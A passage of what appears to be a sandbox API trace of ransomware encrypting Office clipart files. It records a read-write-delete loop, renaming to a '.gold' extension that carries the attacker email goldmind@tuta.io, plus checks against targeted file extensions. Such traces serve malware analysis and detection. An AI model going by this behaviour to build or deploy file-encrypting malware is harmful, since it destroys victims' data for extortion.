CloseHandle (hObject=0x178) returned 1 [0048.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0048.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.503] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.503] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.503] GetLastError () returned 0x0 [0048.503] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0048.505] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0048.506] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.506] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.506] SetEndOfFile (hFile=0x1b0) returned 1 [0048.506] CloseHandle (hObject=0x1b0) returned 1 [0048.506] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.506] SetEndOfFile (hFile=0x178) returned 1 [0048.507] CloseHandle (hObject=0x178) returned 1 [0048.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString=".doc") returned 4 [0048.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString=".docx") returned 5 [0048.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.508] lstrlenW (lpString=".pdf") returned 4 [0048.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString=".xls") returned 4 [0048.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.508] lstrlenW (lpString=".xlsx") returned 5 [0048.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.508] lstrlenW (lpString=".ppt") returned 4 [0048.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString=".zip") returned 4 [0048.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.508] lstrlenW (lpString=".rar") returned 4 [0048.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString=".bz2") returned 4 [0048.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString=".7z") returned 3 [0048.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString=".dbf") returned 4 [0048.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString=".1cd") returned 4 [0048.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString=".jpg") returned 4 [0048.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.508] lstrlenW (lpString=".doc") returned 4 [0048.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString=".docx") returned 5 [0048.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.508] lstrlenW (lpString=".pdf") returned 4 [0048.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.508] lstrlenW (lpString=".xls") returned 4 [0048.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.508] lstrlenW (lpString=".xlsx") returned 5 [0048.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.509] lstrlenW (lpString=".ppt") returned 4 [0048.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.509] lstrlenW (lpString=".zip") returned 4 [0048.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.509] lstrlenW (lpString=".rar") returned 4 [0048.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.509] lstrlenW (lpString=".bz2") returned 4 [0048.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.509] lstrlenW (lpString=".7z") returned 3 [0048.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.509] lstrlenW (lpString=".dbf") returned 4 [0048.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.509] lstrlenW (lpString=".1cd") returned 4 [0048.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0048.509] lstrlenW (lpString=".jpg") returned 4 [0048.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.509] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.509] lstrlenW (lpString="AN01184_.WMF") returned 12 [0048.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.510] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3746) returned 1 [0048.510] CloseHandle (hObject=0x178) returned 1 [0048.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0048.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.510] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.510] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.510] GetLastError () returned 0x0 [0048.510] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xea2, lpOverlapped=0x0) returned 1 [0048.512] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0048.512] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.512] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.512] SetEndOfFile (hFile=0x1b0) returned 1 [0048.513] CloseHandle (hObject=0x1b0) returned 1 [0048.513] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.513] SetEndOfFile (hFile=0x178) returned 1 [0048.513] CloseHandle (hObject=0x178) returned 1 [0048.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString=".doc") returned 4 [0048.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString=".docx") returned 5 [0048.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.514] lstrlenW (lpString=".pdf") returned 4 [0048.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString=".xls") returned 4 [0048.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.514] lstrlenW (lpString=".xlsx") returned 5 [0048.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.514] lstrlenW (lpString=".ppt") returned 4 [0048.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString=".zip") returned 4 [0048.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.514] lstrlenW (lpString=".rar") returned 4 [0048.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString=".bz2") returned 4 [0048.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString=".7z") returned 3 [0048.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString=".dbf") returned 4 [0048.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString=".1cd") returned 4 [0048.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString=".jpg") returned 4 [0048.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.514] lstrlenW (lpString=".doc") returned 4 [0048.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.514] lstrlenW (lpString=".docx") returned 5 [0048.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.514] lstrlenW (lpString=".pdf") returned 4 [0048.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.515] lstrlenW (lpString=".xls") returned 4 [0048.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.515] lstrlenW (lpString=".xlsx") returned 5 [0048.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.515] lstrlenW (lpString=".ppt") returned 4 [0048.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.515] lstrlenW (lpString=".zip") returned 4 [0048.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.515] lstrlenW (lpString=".rar") returned 4 [0048.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.515] lstrlenW (lpString=".bz2") returned 4 [0048.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.515] lstrlenW (lpString=".7z") returned 3 [0048.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.515] lstrlenW (lpString=".dbf") returned 4 [0048.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.515] lstrlenW (lpString=".1cd") returned 4 [0048.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0048.515] lstrlenW (lpString=".jpg") returned 4 [0048.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.515] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.515] lstrlenW (lpString="AN01216_.WMF") returned 12 [0048.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.515] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5836) returned 1 [0048.515] CloseHandle (hObject=0x178) returned 1 [0048.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0048.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.516] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.516] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.516] GetLastError () returned 0x0 [0048.516] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0048.517] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0048.518] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.518] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.518] SetEndOfFile (hFile=0x1b0) returned 1 [0048.518] CloseHandle (hObject=0x1b0) returned 1 [0048.518] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.518] SetEndOfFile (hFile=0x178) returned 1 [0048.519] CloseHandle (hObject=0x178) returned 1 [0048.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0048.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.519] lstrlenW (lpString=".doc") returned 4 [0048.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.519] lstrlenW (lpString=".docx") returned 5 [0048.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.519] lstrlenW (lpString=".pdf") returned 4 [0048.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.519] lstrlenW (lpString=".xls") returned 4 [0048.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.519] lstrlenW (lpString=".xlsx") returned 5 [0048.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.520] lstrlenW (lpString=".ppt") returned 4 [0048.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".zip") returned 4 [0048.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.520] lstrlenW (lpString=".rar") returned 4 [0048.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString=".bz2") returned 4 [0048.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString=".7z") returned 3 [0048.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".dbf") returned 4 [0048.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".1cd") returned 4 [0048.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".jpg") returned 4 [0048.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".doc") returned 4 [0048.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString=".docx") returned 5 [0048.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.520] lstrlenW (lpString=".pdf") returned 4 [0048.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString=".xls") returned 4 [0048.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.520] lstrlenW (lpString=".xlsx") returned 5 [0048.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.520] lstrlenW (lpString=".ppt") returned 4 [0048.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".zip") returned 4 [0048.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.520] lstrlenW (lpString=".rar") returned 4 [0048.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString=".bz2") returned 4 [0048.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString=".7z") returned 3 [0048.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".dbf") returned 4 [0048.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".1cd") returned 4 [0048.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0048.520] lstrlenW (lpString=".jpg") returned 4 [0048.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.521] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.521] lstrlenW (lpString="AN01218_.WMF") returned 12 [0048.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.521] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3012) returned 1 [0048.521] CloseHandle (hObject=0x178) returned 1 [0048.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0048.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 